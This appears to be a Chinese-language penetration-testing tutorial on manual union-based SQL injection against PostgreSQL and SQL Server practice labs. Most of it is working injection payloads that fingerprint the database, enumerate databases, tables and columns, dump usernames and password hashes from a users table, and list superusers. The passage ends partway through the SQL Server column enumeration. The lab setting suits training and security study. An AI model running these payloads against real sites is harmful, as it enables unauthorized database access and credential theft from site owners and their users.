web渗透|SQL注入&PostgreSQL&SQLserver&实战 sqlserver|sql|网络安全|数据库|

知识点：

SQL注入-PostgreSQL数据库

详细点：

Access无高权限注入点-只能猜解，还是暴力猜解
MYSQL，PostgreSQL，MSSQL高权限注入点-可升级读写执行等

墨者PostgreSQL数据注入

流程还是一样的
首先是判断是否有注入点
and 1=2

文章图片

报错性异常回显
存在注入点

文章图片

字段判断
order by 4
当我们判断字段为5的时候异常回显了
所有我们判断他的字段有四个

文章图片

那么我们这个PostgreSQL数据库注入就有一点不一样了
下面是进行位置回显注入判断
我们之前用的是
union select 1,2,3,4
但是我们PostgreSQL数据库的就不一样了
他用的是
union select ‘null’,null,null,null
这个判断他是那个位置回显的标准是单引号在那个null后面
【web渗透|SQL注入&PostgreSQL&SQLserver&实战】判断回显位置是1

and 1=2 union select 'null',null,null,null不正常

文章图片

判断回显位置是2
and 1=2 union select null,‘null’,null,null 正常

文章图片

判断回显位置是3
and 1=2 union select null,null,‘null’,null 正常

文章图片

判断回显位置是4
and 1=2union select null,null,null,‘null’ 不正常

文章图片

那么注入的位置就是
2和3的
位置
那么我们下面就是获取库名
version()获取数据库版本
and 1=2 UNION SELECT null,version(),null,null
current_user获取当前用户
and 1=2 UNION SELECT null,current_user,null,null
current_database()获取数据库名
and 1=2 union select null,current_database(),null,null

获取数据库名

and 1=2 union select null,current_database(),null,null

文章图片

mozhedvcms

获取所有的数据库名

在Postgresql中他是获取所有数据库名的意思
string_agg(datname,‘,’)
‘,’ 两个单引号中间一个逗号表示数据库和数据库之间用逗号隔开来区分
去哪里获取
去pg_database

and 1=2 union select null,string_agg(datname,','),null,null from pg_database

文章图片

template1,template0,postgres,mozhedvcms
获取所有表名

and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public'

文章图片

and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

文章图片

获取列名

and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='表名'

and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name='reg_users'

文章图片

获取数据

and 1=2 union select null,string_agg(列名,','),string_agg(列名,','),null from 表名

and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

文章图片

mozhe2,mozhe1
1c63129ae9db9c60c3e8aa94d3e00495
50409e60d1dd94a86204cd153b01689d

获取超级用户

and 1=2 union select null,string_agg(usename,','),null,null FROM pg_user WHERE usesuper IS TRUE

超级用户之读取文件

参考：https://www.freebuf.com/sectool/249371.html

墨者SQLserver数据库注入

在我们SQLserver中啊最高权限是sa
sa
判断是否有注入点

and 1=2

文章图片

当出现这样无法判断是否存在注入点
我们就之间跳过
来到判断回显位置

order by 4

文章图片

4是正常的
5是报错的
说明有四个字段
下面就是测试回显位

and 1=2 union all select null,1,null,null

文章图片

and 1=2 union all select null,null,'1',null

文章图片

加单元格和不加都单引号都可以测出
但是两个方法都要用到
因为加单引号可以测出一部分不加单引号也可以测出一部分那么连个都用到获得的回显位就多了

@@version 获取版本信息

and 1=2 union all select null,null,@@version,null

db_name() 当前数据库名字

and 1=2 union all select null,null,db_name(),null

文章图片

获取当前用户

user、system_user,current_user,user_name 获取当前用户名
and 1=2 union all select null,null,user,null --获取当前用户
and 1=2 union all select null,null,system_user,null
and 1=2 union all select null,null,current_user,null --当前用户
and 1=2 union all select null,null,user_name,null

@@SERVERNAME 获取服务器主机信息

and 1=2 union all select null,db_name(),null,null

获取表名

and 1=2union all select null,(select top 1 name from 库名.当前用户.sysobjects where xtype='u'),null,null

union all select null,(select top 1 name from 库名.当前用户.sysobjects where xtype='u' and name not in ('表名')),null,null

最这个表名在这个语句的意思是除了这个表名获取其他的表名

and 1=2union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),null,null

文章图片

manage
获取其他表名

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),null,null

文章图片

announcement

如果你觉得还要其他的表
就按照这方法去添加以知表名

and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage','announcement')),null,null

文章图片

没有其他表了

获取列名

and 1=2 union all select null,(select top 1
col_name(object_id(‘表名’),1) from sysobjects),null,null
表示这个表的第一个列名
and 1=2 union all select null,(select top 1
col_name(object_id(‘表名’),2) from sysobjects),null,null
表示这个表的第二个列名
and 1=2 union all select null,(select top 1
col_name(object_id(‘表名’),3) from sysobjects),null,null
表示这个表的三个列名
and 1=2 union all select null,(select top 1
col_name(object_id(‘表’),4) from sysobjects),null,null
表示这个表的第四个列名